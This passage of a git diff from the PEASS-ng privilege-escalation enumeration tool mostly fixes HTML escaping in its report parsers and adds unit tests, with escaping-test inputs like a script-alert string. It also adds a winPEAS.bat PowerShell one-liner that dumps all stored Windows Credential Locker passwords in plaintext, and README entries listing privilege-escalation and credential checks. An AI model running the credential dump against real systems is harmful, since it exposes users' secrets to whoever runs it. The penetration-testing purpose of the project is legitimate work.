    • " + } + } + $color_text += "" + $color_class + " " + } + $color_text += "no_color`" >" + $text + "
    `n" + } + + } + } + return $color_text + "`t`t`t
    `n" +} + +function parse_json { + param ( + $json_data + ) + + $body = "" + $i = 1 + + foreach($obj in $json_data.psobject.properties){ + $key = $obj.Name + $value = $obj.Value + $body += " `t`t
    `n
    `n" + $i += 1 + foreach($obj_2 in $value.psobject.properties) { + $key1 = $obj_2.Name + $value1 = $obj_2.Value + if($value1.GetType().BaseType -eq [System.Object]){ + $body += parse_dict $value1 + } + + } + + $body += "`t`t`t
    `n" + } + + return $body +} + +$HTML_HEADER = @" + + + + + + + + + +"@ + +$HTML_END = @" + + + +"@ + +$HTML_INIT_BODY = @" + +
    +
    + +
    + + + +
    +"@ + +$body = @" + +
    +
    + +
    + + + +
    +"@ + +function main { + $json_data = Get-Content $JSON_PATH -Raw | ConvertFrom-Json + $html = $HTML_HEADER + $html += $HTML_INIT_BODY + $html += parse_json $json_data + $html += $HTML_END + + $html | Out-File $HTML_PATH +} + +try { + $JSON_PATH = $(Read-Host "JSON Path") + $HTML_PATH = $(Read-Host "HTML Path") +} +catch { + Write-Host "Error: Please pass the peas.out file and the path to save the html" + exit +} + +main diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/parsers/json2html.py b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/parsers/json2html.py index b250a055..fa4bcebc 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/parsers/json2html.py +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/parsers/json2html.py @@ -1,113 +1,143 @@ +import html +import itertools import json import sys -import random +_section_ids = itertools.count(1) -def parse_json(json_data : object) -> str: + +def parse_json(json_data: dict) -> str: """Parse the given json adding it to the HTML file""" - + body = "" - i=1 + i = 1 for key, value in json_data.items(): - body += """\t\t
    \n -
    \n""" - i=i+1 + body += ( + '\t\t
    \n" + f'
    \n' + ) + i = i + 1 for key1, value1 in value.items(): - - if(type(value1)==list): - body+=parse_list(value1) - - if((type(value1)==dict)): - body+=parse_dict(value1) - body+="\t\t\t
    \n" - + + if key1 == "infos": + body += "" + parse_infos(value1) + "" + elif type(value1) == list: + body += parse_list(value1) + + elif type(value1) == dict: + body += parse_dict(value1) + body += "\t\t\t
    \n" + return body +def parse_infos(json_infos: list) -> str: + """Parse the given list of info strings from the given json adding them to the HTML file""" + + infos = [] + for info in json_infos: + if info.startswith("http"): + infos.append(f"{html.escape(info)}
    \n") + else: + infos.append(html.escape(str(info)) + "
    \n") + return "".join(infos) + + def parse_dict(json_dict: dict) -> str: """Parse the given dict from the given json adding it to the HTML file""" - dict_text="" + dict_text = "" for key, value in json_dict.items(): - n=random.randint(0,999999) - infos = [] - for info in value["infos"]: - if info.startswith("http"): - infos.append(f"{info}
    \n") - else: - infos.append(str(info) + "
    \n") - - dict_text += f'\t\t
    \n' - dict_text += '' + "".join(infos) + '' + n = next(_section_ids) + dict_text += ( + f'\t\t
    \n" + ) + dict_text += "" + parse_infos(value["infos"]) + "" dict_text += f'
    \n' - + if value["lines"]: - dict_text+="\n" + parse_list(value["lines"]) + "\n" + dict_text += "\n" + parse_list(value["lines"]) + "\n" if value["sections"]: - dict_text+=parse_dict(value["sections"]) - + dict_text += parse_dict(value["sections"]) + + dict_text += "\t\t\t
    \n" + return dict_text def parse_list(json_list: list) -> str: """Parse the given list from the given json adding it to the HTML file""" - color_text="" - color_class="" + color_text = "" + color_class = "" for i in json_list: - if "═══" not in i['clean_text']: - if(i['clean_text']): - color_text+= "
    "+ replacement + "") - #class=\""+ color_class + "\" "+ " - if "═╣" in text: - text=text.replace("═╣","
  • ") - text+="
    • " - color_text+= "" + color_class + " " - color_text +="no_color\" >"+ text + "
    \n" - return color_text + "\t\t\t\n" + if "═══" in i["clean_text"]: + continue + if not i["clean_text"]: + continue + + color_text += '
    {escaped}' + ) + color_text += "" + color_class + " " + + if "═╣" in text: + text = text.replace("═╣", "
  • ") + "
    • " + color_text += 'no_color" >' + text + "
    \n" + return color_text def main(): + global _section_ids + _section_ids = itertools.count(1) with open(JSON_PATH) as JSON_file: json_data = json.load(JSON_file) html = HTML_HEADER html += HTML_INIT_BODY html += parse_json(json_data) html += HTML_END - - with open(HTML_PATH, 'w') as f: + + with open(HTML_PATH, "w") as f: f.write(html) @@ -341,7 +371,7 @@ def main(): JSON_PATH = sys.argv[1] HTML_PATH = sys.argv[2] except IndexError as err: - print("Error: Please pass the peas.json file and the path to save the html\npeas2html.py ") + print("Error: Please pass the peas.json file and the path to save the html\njson2html.py ") sys.exit(1) main() \ No newline at end of file diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/parsers/json2pdf.py b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/parsers/json2pdf.py old mode 100644 new mode 100755 index 6d1c710f..bc96cda2 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/parsers/json2pdf.py +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/parsers/json2pdf.py @@ -86,11 +86,19 @@ def build_main_section(section, title, level=1): # Print info if any if show_section and has_links: for info in section["infos"]: - words = info.split() + words = info.split() # Join all lines and encode any links that might be present. - words = map(lambda word: f'{word}' if "http" in word else word, words) + # Every word must be escaped before it reaches the Paragraph, + # reportlab parses the text as mini-HTML and unescaped angle + # brackets or quotes from the scanned output break the document. + words = map( + lambda word: f'{html.escape(word)}' + if "http" in word + else html.escape(word), + words, + ) words = " ".join(words) - elements.append(Paragraph(words, style=styles["info"] )) + elements.append(Paragraph(words, style=styles["info"])) # Print lines if any if "lines" in section.keys() and len(section["lines"]) > 1: diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/parsers/peas2json.ps1 b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/parsers/peas2json.ps1 index 2b5eb30c..5f62afc9 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/parsers/peas2json.ps1 +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/parsers/peas2json.ps1 @@ -1,205 +1,205 @@ -# Based on https://github.com/peass-ng/PEASS-ng/blob/master/parsers/peas2json.py - -# Pattern to identify main section titles -$CHAR_1 = [String][char]0x2550 # ═ -$CHAR_2 = [String][char]0x2554 # ╔ -$CHAR_3 = [String][char]0x2563 # ╣ -$CHAR_4 = [String][char]0x255a # ╚ -$TITLE_CHARS = [String][char]0x2550, [String][char]0x2554, [String][char]0x2563, [String][char]0x255a # ═, ╔, ╣, ╚ -$TITLE1_PATTERN = $CHAR_1*14 + $CHAR_3 #══════════════╣# -#The size of the first pattern varies, but at least should be that large -$TITLE2_PATTERN = $CHAR_2 + $CHAR_1*10 + $CHAR_3 #╔══════════╣# -$TITLE3_PATTERN = $CHAR_1*2 + $CHAR_3 #══╣# -$INFO_PATTERN = $CHAR_4 #╚ # - -$encoding = [System.Text.Encoding]::UTF8 - -# Patterns from color -## The order is important, the first string colored with a color will be the one selected (the same string cannot be colored with different colors) -$global:COLORS = @{ - "REDYELLOW" = "\x1b\[1;31;103m"; - "RED" = "\x1b\[1;31m"; - "GREEN" = "\x1b\[1;32m"; - "YELLOW" = "\x1b\[1;33m"; - "BLUE" = "\x1b\[1;34m"; - "MAGENTA" = "\x1b\[1;95m", "\x1b\[1;35m"; - "CYAN" = "\x1b\[1;36m", "\x1b\[1;96m"; - "LIGHT_GREY" = "\x1b\[1;37m"; - "DARKGREY" = "\x1b\[1;90m"; -} - -$global:FINAL_JSON = @{} - -$global:C_SECTION = $FINAL_JSON -$global:C_MAIN_SECTION = $FINAL_JSON -$global:C_2_SECTION = $FINAL_JSON -$global:C_3_SECTION = $FINAL_JSON - -function is_section { - param ( - [string] $line, - [string] $pattern - ) - - # Checks ifa line matches the pattern - return $line.contains($pattern) -} - -function clean_colors { - param ( - [string] $line - ) - - # Given a line, clean the colors inside of it - - $line = $line -replace '\x1b\[[0-9;]*m','' - $line = $line.Trim() - return $line - -} - -function clean_title { - param ( - [string] $line - ) - # Given a title, clean it - foreach($c in $TITLE_CHARS){ - $line = $line.Replace($c, "") - } - - $line = [System.Text.Encoding]::ASCII.GetString($encoding.GetBytes($line)) - $line = $line.Trim() - return $line - -} - -function get_colors { - param ( - [string] $line - ) - - [hashtable]$colors = @{} - - $global:COLORS.GetEnumerator() | ForEach-Object { - $colors[$_.Key] = '' - foreach($reg in $_.Value){ # eq reg in regexs in py - $split_color = $line -split $reg - # Start from index 1 as the index 0 isn't colored - if($split_color -And $split_color.Length -gt 1){ - $split_color = $split_color | Select-Object -Skip 1 - - # For each potential color, find the string before any possible color termination - foreach($potential_color_str in $split_color){ - $color_str1 = ($potential_color_str -split "\x1b")[0] - $color_str2 = ($potential_color_str -split "\[0m")[0] - $color_str = $color_str2 - if($color_str1.Length -lt $color_str2.Length){ - $color_str = $color_str1 - } - - if($color_str){ - $color_str = clean_colors $color_str.trim() - # Avoid having the same color for the same string - if($color_str){ - $colors[$_.Key] += $color_str - } - } - } - } - - - } - if(-not $colors[$_.Key]){ - $colors.Remove($_.Key) - } - } - - return $colors - -} - -function parse_title { - param ( - [string] $line - ) - # Given a title, clean it - - $cleaned_title_pt = clean_title($line) - return clean_colors $cleaned_title_pt - -} - -function parse_line { - param ( - [string] $line - ) - #Parse the given line, adding it to the FINAL_JSON structure - - if( $line.Contains("Cron jobs") ){ - $a = 1 - } - - # for debug - #$line - #Start-Sleep -Milliseconds 500 - - if(is_section $line $TITLE1_PATTERN){ - $title = parse_title $line - #New-Object System.Collections.Generic.List[System.Object] - $FINAL_JSON.add($title, @{ "sections" = @{}; "lines" = @(); "infos" = @() }) - $global:C_MAIN_SECTION = $global:FINAL_JSON.$title - $global:C_SECTION = $global:C_MAIN_SECTION - } - elseif(is_section $line $TITLE2_PATTERN){ - $title = parse_title $line - $global:C_MAIN_SECTION.'sections'.Add($title, @{ "sections" = @{}; "lines" = @(); "infos" = @() }) - $global:C_2_SECTION = $global:C_MAIN_SECTION.'sections'.$title - $global:C_SECTION = $global:C_2_SECTION - } - elseif(is_section $line $TITLE3_PATTERN){ - $title = parse_title $line - $global:C_2_SECTION.'sections'.add($title, @{ "sections" = @{}; "lines" = @(); "infos" = @() }) - $global:C_3_SECTION = $global:C_2_SECTION.'sections'.$title - $global:C_SECTION = $global:C_3_SECTION - } - elseif(is_Section $line $INFO_PATTERN){ - $title = parse_title $line - $global:C_SECTION["infos"] += $title - } - - #If here, then it's text - else{ - #If no main section parsed yet, pass - if($global:C_SECTION -eq @{}){ - return - } - $global:C_SECTION['lines'] += @{"raw_text" = $line; "colors" = get_colors $line;"clean_text" = clean_title(clean_colors $line)} - } -} - -function main { - foreach($line in Get-Content -LiteralPath $OUTPUT_PATH){ - $line = $line.Trim() - #Write-Host $line - if(-not $line -or -not (clean_colors $line)){ #Remove empty lines or lines just with colors hex - continue - } - - parse_line $line - } - - $FINAL_JSON | ConvertTo-Json -depth 100 | Out-File $JSON_PATH - -} - - -try { - $OUTPUT_PATH = $(Read-Host "Output Path") - $JSON_PATH = $(Read-Host "JSON Path") -} -catch { - Write-Host "Error: Please pass the peas.out file and the path to save the json" - exit -} - -main +# Based on https://github.com/peass-ng/PEASS-ng/blob/master/parsers/peas2json.py + +# Pattern to identify main section titles +$CHAR_1 = [String][char]0x2550 # ═ +$CHAR_2 = [String][char]0x2554 # ╔ +$CHAR_3 = [String][char]0x2563 # ╣ +$CHAR_4 = [String][char]0x255a # ╚ +$TITLE_CHARS = [String][char]0x2550, [String][char]0x2554, [String][char]0x2563, [String][char]0x255a # ═, ╔, ╣, ╚ +$TITLE1_PATTERN = $CHAR_1*14 + $CHAR_3 #══════════════╣# +#The size of the first pattern varies, but at least should be that large +$TITLE2_PATTERN = $CHAR_2 + $CHAR_1*10 + $CHAR_3 #╔══════════╣# +$TITLE3_PATTERN = $CHAR_1*2 + $CHAR_3 #══╣# +$INFO_PATTERN = $CHAR_4 #╚ # + +$encoding = [System.Text.Encoding]::UTF8 + +# Patterns from color +## The order is important, the first string colored with a color will be the one selected (the same string cannot be colored with different colors) +$global:COLORS = @{ + "REDYELLOW" = "\x1b\[1;31;103m"; + "RED" = "\x1b\[1;31m"; + "GREEN" = "\x1b\[1;32m"; + "YELLOW" = "\x1b\[1;33m"; + "BLUE" = "\x1b\[1;34m"; + "MAGENTA" = "\x1b\[1;95m", "\x1b\[1;35m"; + "CYAN" = "\x1b\[1;36m", "\x1b\[1;96m"; + "LIGHT_GREY" = "\x1b\[1;37m"; + "DARKGREY" = "\x1b\[1;90m"; +} + +$global:FINAL_JSON = @{} + +$global:C_SECTION = $FINAL_JSON +$global:C_MAIN_SECTION = $FINAL_JSON +$global:C_2_SECTION = $FINAL_JSON +$global:C_3_SECTION = $FINAL_JSON + +function is_section { + param ( + [string] $line, + [string] $pattern + ) + + # Checks ifa line matches the pattern + return $line.contains($pattern) +} + +function clean_colors { + param ( + [string] $line + ) + + # Given a line, clean the colors inside of it + + $line = $line -replace '\x1b\[[0-9;]*m','' + $line = $line.Trim() + return $line + +} + +function clean_title { + param ( + [string] $line + ) + # Given a title, clean it + foreach($c in $TITLE_CHARS){ + $line = $line.Replace($c, "") + } + + $line = [System.Text.Encoding]::ASCII.GetString($encoding.GetBytes($line)) + $line = $line.Trim() + return $line + +} + +function get_colors { + param ( + [string] $line + ) + + [hashtable]$colors = @{} + + $global:COLORS.GetEnumerator() | ForEach-Object { + $colors[$_.Key] = '' + foreach($reg in $_.Value){ # eq reg in regexs in py + $split_color = $line -split $reg + # Start from index 1 as the index 0 isn't colored + if($split_color -And $split_color.Length -gt 1){ + $split_color = $split_color | Select-Object -Skip 1 + + # For each potential color, find the string before any possible color termination + foreach($potential_color_str in $split_color){ + $color_str1 = ($potential_color_str -split "\x1b")[0] + $color_str2 = ($potential_color_str -split "\[0m")[0] + $color_str = $color_str2 + if($color_str1.Length -lt $color_str2.Length){ + $color_str = $color_str1 + } + + if($color_str){ + $color_str = clean_colors $color_str.trim() + # Avoid having the same color for the same string + if($color_str){ + $colors[$_.Key] += $color_str + } + } + } + } + + + } + if(-not $colors[$_.Key]){ + $colors.Remove($_.Key) + } + } + + return $colors + +} + +function parse_title { + param ( + [string] $line + ) + # Given a title, clean it + + $cleaned_title_pt = clean_title($line) + return clean_colors $cleaned_title_pt + +} + +function parse_line { + param ( + [string] $line + ) + #Parse the given line, adding it to the FINAL_JSON structure + + if( $line.Contains("Cron jobs") ){ + $a = 1 + } + + # for debug + #$line + #Start-Sleep -Milliseconds 500 + + if(is_section $line $TITLE1_PATTERN){ + $title = parse_title $line + #New-Object System.Collections.Generic.List[System.Object] + $FINAL_JSON.add($title, @{ "sections" = @{}; "lines" = @(); "infos" = @() }) + $global:C_MAIN_SECTION = $global:FINAL_JSON.$title + $global:C_SECTION = $global:C_MAIN_SECTION + } + elseif(is_section $line $TITLE2_PATTERN){ + $title = parse_title $line + $global:C_MAIN_SECTION.'sections'.Add($title, @{ "sections" = @{}; "lines" = @(); "infos" = @() }) + $global:C_2_SECTION = $global:C_MAIN_SECTION.'sections'.$title + $global:C_SECTION = $global:C_2_SECTION + } + elseif(is_section $line $TITLE3_PATTERN){ + $title = parse_title $line + $global:C_2_SECTION.'sections'.add($title, @{ "sections" = @{}; "lines" = @(); "infos" = @() }) + $global:C_3_SECTION = $global:C_2_SECTION.'sections'.$title + $global:C_SECTION = $global:C_3_SECTION + } + elseif(is_Section $line $INFO_PATTERN){ + $title = parse_title $line + $global:C_SECTION["infos"] += $title + } + + #If here, then it's text + else{ + #If no main section parsed yet, pass + if($global:C_SECTION -eq @{}){ + return + } + $global:C_SECTION['lines'] += @{"raw_text" = $line; "colors" = get_colors $line;"clean_text" = clean_title(clean_colors $line)} + } +} + +function main { + foreach($line in Get-Content -LiteralPath $OUTPUT_PATH){ + $line = $line.Trim() + #Write-Host $line + if(-not $line -or -not (clean_colors $line)){ #Remove empty lines or lines just with colors hex + continue + } + + parse_line $line + } + + $FINAL_JSON | ConvertTo-Json -depth 100 | Out-File $JSON_PATH + +} + + +try { + $OUTPUT_PATH = $(Read-Host "Output Path") + $JSON_PATH = $(Read-Host "JSON Path") +} +catch { + Write-Host "Error: Please pass the peas.out file and the path to save the json" + exit +} + +main diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/parsers/peas2json.py b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/parsers/peas2json.py old mode 100644 new mode 100755 index 4d6d92f3..9d873b50 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/parsers/peas2json.py +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/parsers/peas2json.py @@ -61,7 +61,7 @@ def get_colors(line: str) -> dict: # For each potential color, find the string before any possible color terminatio for potential_color_str in split_color: color_str1 = potential_color_str.split('\x1b')[0] - color_str2 = potential_color_str.split("\[0")[0] + color_str2 = potential_color_str.split('\x1b[0')[0] color_str = color_str1 if len(color_str1) < len(color_str2) else color_str2 if color_str: diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/parsers/tests/test_json2html.py b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/parsers/tests/test_json2html.py new file mode 100644 index 00000000..2c5bc6a3 --- /dev/null +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/parsers/tests/test_json2html.py @@ -0,0 +1,120 @@ +import json +import tempfile +import unittest +from pathlib import Path + +from parsers import json2html + +SAMPLE_JSON = { + "System Information": { + "sections": { + "Operative system": { + "sections": {}, + "lines": [ + { + "raw_text": "[+] nmap is available", + "clean_text": "[+] nmap is available & ready ", + "colors": {"GREEN": ["nmap"]}, + }, + { + "raw_text": "[-] /usr/bin/echo", + "clean_text": "[-] /usr/bin/echo && chmod 2>/dev/null", + "colors": {}, + }, + ], + "infos": ["https://example.com/check?x=1&y=2"], + } + }, + "infos": [], + } +} + + +class Json2HtmlTests(unittest.TestCase): + def setUp(self): + self._tmpdir = tempfile.TemporaryDirectory() + self._json_path = Path(self._tmpdir.name) / "peas.json" + self._html_path = Path(self._tmpdir.name) / "peas.html" + + def tearDown(self): + self._tmpdir.cleanup() + + def _render(self, data) -> str: + self._json_path.write_text(json.dumps(data)) + json2html.JSON_PATH = str(self._json_path) + json2html.HTML_PATH = str(self._html_path) + json2html.main() + return self._html_path.read_text() + + def test_escapes_html_in_line_text(self): + html = self._render(SAMPLE_JSON) + self.assertIn("<test>", html) + self.assertNotIn("ready ", html) + self.assertIn("&&", html) + self.assertNotIn("&& chmod", html) + + def test_escapes_html_in_infos(self): + html = self._render(SAMPLE_JSON) + self.assertIn("x=1&y=2", html) + self.assertNotIn("x=1&y=2", html) + + def test_escapes_section_names(self): + data = { + "A & B": {"sections": {}, "infos": []}, + } + html = self._render(data) + self.assertIn("A & B", html) + self.assertNotIn(">A & B", html) + + def test_colored_replacement_is_escaped_and_kept(self): + html = self._render(SAMPLE_JSON) + self.assertIn('style="color:#008000">nmap', html) + self.assertIn('class = "green no_color"', html) + + def test_ids_are_deterministic_and_unique(self): + first = self._render(SAMPLE_JSON) + second = self._render(SAMPLE_JSON) + self.assertEqual(first, second) + self.assertEqual(first.count('id="lines1"'), 1) + self.assertNotIn('id="lines0"', first) + + def test_top_level_infos_are_rendered(self): + """Main sections carry infos in real linpeas output (╚ reference links) and + must be rendered instead of being passed to parse_list as line objects.""" + data = { + "Users Info": { + "sections": {}, + "lines": [ + { + "raw_text": "user1:x:1000:1000::/home/user1:/bin/bash", + "clean_text": "user1:x:1000:1000::/home/user1:/bin/bash", + "colors": {}, + } + ], + "infos": ["https://book.hacktricks.xyz/privilege-escalation?x=1&y=2"], + }, + } + html = self._render(data) + self.assertIn("https://book.hacktricks.xyz/privilege-escalation?x=1&y=2", html) + self.assertNotIn("https://book.hacktricks.xyz/privilege-escalation?x=1&y=2", html) + + def test_infos_with_markup_are_escaped_everywhere(self): + data = { + "Users Info": { + "sections": {}, + "lines": [], + "infos": ["run now"], + }, + } + html = self._render(data) + self.assertIn("<script>alert(1)</script>", html) + self.assertNotIn("", html) + + + def test_divs_are_balanced(self): + html = self._render(SAMPLE_JSON) + self.assertEqual(html.count("")) + + +if __name__ == "__main__": + unittest.main() diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/parsers/tests/test_json2pdf.py b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/parsers/tests/test_json2pdf.py new file mode 100644 index 00000000..986cf48f --- /dev/null +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/parsers/tests/test_json2pdf.py @@ -0,0 +1,43 @@ +import unittest + +try: + from reportlab.platypus import Paragraph + + from parsers import json2pdf + + HAS_REPORTLAB = True +except ImportError: # pragma: no cover - depends on the environment + HAS_REPORTLAB = False + + +SECTION = { + "infos": ['see "settings" at https://book.hacktricks.xyz/x?y=1&z=2'], + "lines": [ + {"raw_text": "a", "colors": {}, "clean_text": "line one"}, + {"raw_text": "b", "colors": {}, "clean_text": "line two"}, + ], + "sections": {}, +} + + +@unittest.skipUnless(HAS_REPORTLAB, "reportlab is not installed") +class Json2PdfTests(unittest.TestCase): + def test_info_words_are_escaped_before_reaching_the_paragraph(self): + elements = json2pdf.build_main_section(SECTION, "Escalation") + info_paragraphs = [e for e in elements if isinstance(e, Paragraph) and e.style.name == "Italic"] + self.assertEqual(len(info_paragraphs), 1) + markup = info_paragraphs[0].text + self.assertIn("<tool>", markup) + self.assertNotIn("", markup) + self.assertIn('href="https://book.hacktricks.xyz/x?y=1&z=2"', markup) + self.assertNotIn('href="https://book.hacktricks.xyz/x?y=1&z=2"', markup) + + def test_document_renders_hostile_infos_without_error(self): + from parsers.json2pdf import MyDocTemplate + + doc = MyDocTemplate("/tmp/peas_test_hostile.pdf") + doc.build(json2pdf.build_main_section(SECTION, "Escalation")) + + +if __name__ == "__main__": + unittest.main() diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/parsers/tests/test_peas2json.py b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/parsers/tests/test_peas2json.py new file mode 100644 index 00000000..95c2aa09 --- /dev/null +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/parsers/tests/test_peas2json.py @@ -0,0 +1,26 @@ +import unittest +import warnings +from pathlib import Path + +from parsers import peas2json + + +class Peas2JsonTests(unittest.TestCase): + def test_module_compiles_without_syntax_warning(self): + source = Path(peas2json.__file__).read_text() + with warnings.catch_warnings(record=True) as caught: + warnings.simplefilter("always") + compile(source, str(peas2json.__file__), "exec") + syntax_warnings = [w for w in caught if issubclass(w.category, SyntaxWarning)] + self.assertEqual(syntax_warnings, []) + + def test_get_colors_stops_at_color_and_reset_boundaries(self): + line = "\x1b[1;32muser\x1b[0m\x1b[1;31mroot\x1b[0m" + self.assertEqual(peas2json.get_colors(line), {"GREEN": ["user"], "RED": ["root"]}) + + def test_get_colors_of_plain_line_is_empty(self): + self.assertEqual(peas2json.get_colors("no colors in here"), {}) + + +if __name__ == "__main__": + unittest.main() diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/README.md b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/README.md old mode 100644 new mode 100755 diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASbat/README.md b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASbat/README.md old mode 100644 new mode 100755 diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASbat/winPEAS.bat b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASbat/winPEAS.bat old mode 100644 new mode 100755 index 2926dd6d..0a02d809 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASbat/winPEAS.bat +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASbat/winPEAS.bat @@ -540,6 +540,13 @@ cmdkey /list ECHO. CALL :T_Progress 2 +:UWPCredentialLocker +CALL :ColorLine "%E%32m[*]%E%97m UWP PasswordVault / Credential Locker" +ECHO. [?] https://hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#uwp-passwordvault--credential-locker +powershell -Command "[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]; $v = New-Object Windows.Security.Credentials.PasswordVault; $v.RetrieveAll() | ForEach-Object { try { $_.RetrievePassword(); $_ } catch {} } | Select-Object Resource, UserName, Password | Format-List" +ECHO. +CALL :T_Progress 2 + :DPAPIMasterKeys CALL :ColorLine " %E%33m[+]%E%97m DPAPI MASTER KEYS" ECHO. [i] Use the Mimikatz 'dpapi::masterkey' module with appropriate arguments (/rpc) to decrypt diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/CMakeLists.txt b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/CMakeLists.txt index b0b6e465..6e50247f 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/CMakeLists.txt +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/CMakeLists.txt @@ -1,7 +1,7 @@ cmake_minimum_required(VERSION 3.16) project(winPEAS_dotnet NONE) -set(PROJECT_FILE "${CMAKE_CURRENT_SOURCE_DIR}/winPEAS.csproj") +set(PROJECT_FILE "${CMAKE_CURRENT_SOURCE_DIR}/winPEAS/winPEAS.csproj") find_program(DOTNET_EXECUTABLE dotnet) find_program(MSBUILD_EXECUTABLE msbuild) diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/README.md b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/README.md old mode 100644 new mode 100755 index 80f2adc2..bc27787f --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/README.md +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/README.md @@ -66,6 +66,7 @@ winpeas.exe domain #enumerate also domain information winpeas.exe wait #wait for user input between tests winpeas.exe debug #display additional debug information winpeas.exe log #log output to out.txt instead of standard output +winpeas.exe -vulnpackages #send installed package names/versions to the optional HackTricks online lookup to flag vulnerable packages winpeas.exe -linpeas=http://127.0.0.1/linpeas.sh #Execute also additional linpeas check (runs linpeas.sh in default WSL distribution) with custom linpeas.sh URL (if not provided, the default URL is: https://raw.githubusercontent.com/peass-ng/PEASS-ng/master/linPEAS/linpeas.sh) winpeas.exe -lolbas #Execute also additional LOLBAS search check ``` @@ -129,10 +130,16 @@ Once you have installed and activated it you need to: - **System Information** - [x] Basic System info information - [x] Use embedded definitions to flag known exploitable vulnerabilities for the running Windows version (version-based) + - [x] Passive Print Spooler CVE-2022-38028/GooseEgg exposure assessment (OS fixed build, update supersedence, Spooler state/configuration, and registry ACL) + - [x] Passive Storage VSP/vSMB CVE-2025-59517 and CVE-2025-64673 assessment (OS/driver fixed build, update inventory, Virtual Machine Platform, `storvsp` registration, signature, and `STORVSP` device link) + - [x] Passive Windows Installer CVE-2025-27727 build and artifact assessment (`msi.dll`, `TempPackages`, `Installer\Folders`, and `C:\Config.Msi` ACL/rollback state) + - [x] Passive CrossDevice dangling COM CVE-2026-66804 assessment (fixed build, 32/64-bit registration, writable DLL path, SYSTEM COM host, and user-executable `CreateObjectTask`) - [x] Enumerate Microsoft updates - [x] PS, Audit, WEF and LAPS Settings - [x] LSA protection + - [x] CLFS logfile authentication mitigation status - [x] Credential Guard + - [x] Hardware and DMA security (Kernel DMA Protection, Device Guard DMA/IOMMU capability, UEFI/Secure Boot, VBS, BitLocker protectors and external DMA-capable interfaces) - [x] WDigest - [x] Number of cached cred - [x] Environment Variables @@ -171,13 +178,18 @@ Once you have installed and activated it you need to: - [x] Interesting services (non Microsoft) information - [x] Modifiable services - [x] Writable service registry binpath + - [x] Writable DLLs loaded by enabled LocalSystem services + - [x] Writable LocalSystem service recovery command targets - [x] PATH Dll Hijacking - **Applications Information** - [x] Current Active Window - [x] Installed software + - [x] Optional online installed-package vulnerability lookup via HackTricks (`-vulnpackages` or `all`) - [x] AutoRuns - [x] Scheduled tasks + - [x] Microsoft Recall PolicyConfiguration task exposure (CVE-2025-60710 / CVE-2026-20941) + - [x] Writable execution targets in enabled SYSTEM scheduled tasks - [x] Device drivers - **Network Information** @@ -188,7 +200,9 @@ Once you have installed and activated it you need to: - [x] Listening ports - [x] Firewall rules - [x] DNS Cache (limit 70) - - [x] Internet Settings + - [x] WinINet, WinHTTP, policy and environment HTTP proxy settings (including ZDI-26-708 exposure indicators) + - [x] Internet connectivity probes + - [x] Optional external hostname resolution check - **Cloud Metadata Enumeration** - [x] AWS Metadata @@ -199,6 +213,7 @@ Once you have installed and activated it you need to: - [x] Windows Vault - [x] Credential Manager - [x] Saved RDP settings + - [x] Passive sethc.exe/Utilman.exe integrity checks and RDP/NLA exposure context - [x] Recently run commands - [x] Default PS transcripts files - [x] DPAPI Masterkeys @@ -209,6 +224,7 @@ Once you have installed and activated it you need to: - [x] AppCmd.exe - [x] SSClient.exe - [x] SCCM + - [x] Cached SCCM Network Access Account credential policies - [x] Security Package Credentials - [x] AlwaysInstallElevated - [x] WSUS (HTTP downgrade + CVE-2025-59287 exposure) @@ -232,6 +248,7 @@ Once you have installed and activated it you need to: - [x] Cloud credentials - [x] Check for unattended files - [x] Check for SAM & SYSTEM backups + - [x] Check for exposed SAM, SECURITY and SYSTEM hives in live ACLs, backups and shadow copies - [x] Check for cached GPP Passwords - [x] Check for and extract creds from McAffe SiteList.xml files - [x] Possible registries with credentials diff --git a/Offensive Security & Penetration 